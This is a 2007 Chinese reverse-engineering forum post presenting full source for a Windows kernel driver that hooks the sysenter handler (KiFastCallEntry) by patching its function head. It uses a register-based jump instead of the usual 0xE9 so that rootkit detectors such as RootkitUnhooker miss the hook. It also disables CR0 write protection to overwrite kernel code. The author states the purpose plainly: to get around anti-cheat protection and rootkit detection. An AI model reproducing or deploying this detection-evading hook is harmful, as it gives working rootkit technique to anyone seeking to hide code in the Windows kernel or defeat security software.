作 者: 墮落天才
時 間: 2007-04-14,11:09
鏈 接: http://bbs.pediy.com/showthread.php?t=42705
*****************************************************************************
*標題:【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測) *
*作者:墮落天才 *
*日期:2007年4月14號 *
*****************************************************************************
先廢話,當初是爲了繞開NP對sysenter保護而想出來的,後來發現連RootkitUnhooker都繞了.
什麼是sysenter hook我也不羅唆了,一般的攔截方法就是通過rdmsr wrmsr 兩個指令把原來的sysenter地址改成自己的sysenter地址來實現的.這種方法使用方便,但檢測也很容易.
這裏介紹的另外一種方法不改變sysenter地址,而是通過直接在原來sysenter地址裏面寫跳轉代碼來實現的,這實際上跟一般的函數頭inline hook一樣.這樣rootkit檢測工具就不會認爲sysenter已經改變(實際上也是沒變).
一般的rootkit檢測工具檢測函數inline hook是通過檢測長跳轉指令0xE9的來判斷跳轉距離是不是超出函數所在的模塊範圍來確定的.但是實現跳轉我們也可以藉助寄存器或變量(用變量跳轉需要涉及重定位問題,麻煩.所以一般用寄存器),這樣跳轉指令就不是0xE9了而是0xFF,這個絕大多數rootkit檢測工具是檢測不到的(包括著名的RootkitUnhooker,VICE).
由於我們已經改變了KiFastCall函數頭,所以我們只能把原來的函數頭代碼放到另外一個地方執行(動態分配內存,當然如果不考慮兼容性硬編碼也沒問題),然後再跳轉回來.這裏使用了"三級跳",大概是這個樣子.
sysenter->KiFastCall
JMP -> MyKiFastCall(這裏進行攔截或什麼的)
JMP -> KiFastCall head code (這裏執行原來KiFastCall函數頭代碼)
JMP -> KiFastCall + N(已經執行指令長度)
///////////////////////////////////////////////////////////////////////////////////////////////////
//墮落天才
//2007年4月14日
#include<ntddk.h>
#include "OpCodeSize.h"
ULONG uSysenter; //sysenter地址
UCHAR uOrigSysenterHead[8];//保存原來的八個字節函數頭
PUCHAR pMovedSysenterCode; //把原來的KiFastCall函數頭保存在這裏
ULONG i; //記錄服務ID
__declspec(naked) void MyKiFastCallEntry(void)
{
__asm{
pop edi //因爲用到了edi來跳轉 這裏恢復
mov i, eax //得到服務ID
}
__asm{
pushad
push fs
push 0x30
pop fs
}
DbgPrint("sysenter was hooked! Get service ID:%X",i); //證明自己存在
__asm{
pop fs
popad
jmp pMovedSysenterCode //第二跳,跳轉到原來的函數頭代碼
}
}
//////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數頭的八個字節恢復
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
ExFreePool(pMovedSysenterCode); // 釋放分配的內存
DbgPrint("Unload sysenterHook");
}
////////////////////////////////////////////////////////
VOID HookSysenter()
{
UCHAR cHookCode[8] = { 0x57, //push edi 第一跳,從KiFastCall跳到MyKiFastCallEntry.並繞過rootkit檢測工具檢測
0xBF,0,0,0,0, //mov edi,0000
0xFF,0xE7}; //jmp edi
UCHAR JmpCode[]={0xE9,0,0,0,0}; //jmp 0000 第三跳,從KiFastCall函數頭代碼跳轉到原來KiFastCall+N
int nCopyLen = 0;
int nPos = 0;
__asm{
mov ecx,0x176
rdmsr
mov uSysenter,eax //得到KiFastCallEntry地址
}
DbgPrint("sysenter:0x%08X",uSysenter);
nPos = uSysenter;
while(nCopyLen<8){ //我們要改寫的函數頭至少需要8字節 這裏計算實際需要COPY的代碼長度 因爲我們不能把一條完整的指令打斷
nCopyLen += GetOpCodeSize((PVOID)nPos); //參考1
nPos = uSysenter + nCopyLen;
}
DbgPrint("copy code lenght:%d",nCopyLen);
pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);
memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節代碼
*((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//計算跳轉地址
memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原來的函數頭放到新分配的內存
memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把跳轉代碼COPY上去
*((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址
DbgPrint("Saved sysenter code:0x%08X",pMovedSysenterCode);
DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數頭
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DbgPrint("Welcome to sysenterhook.sys");
DriverObject->DriverUnload = OnUnload;
HookSysenter();
return STATUS_SUCCESS;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
以上代碼在 XP SP2中文 + RootkitUnhooker下測試通過
同理 IDT hook也可以用這種方法實現,HOOK的實質是改變程序流程,無論在哪裏改變
*************************************************************************************************
參考1, 海風月影,【分享】西褲哥的 Hook Api Lib 0.2 For C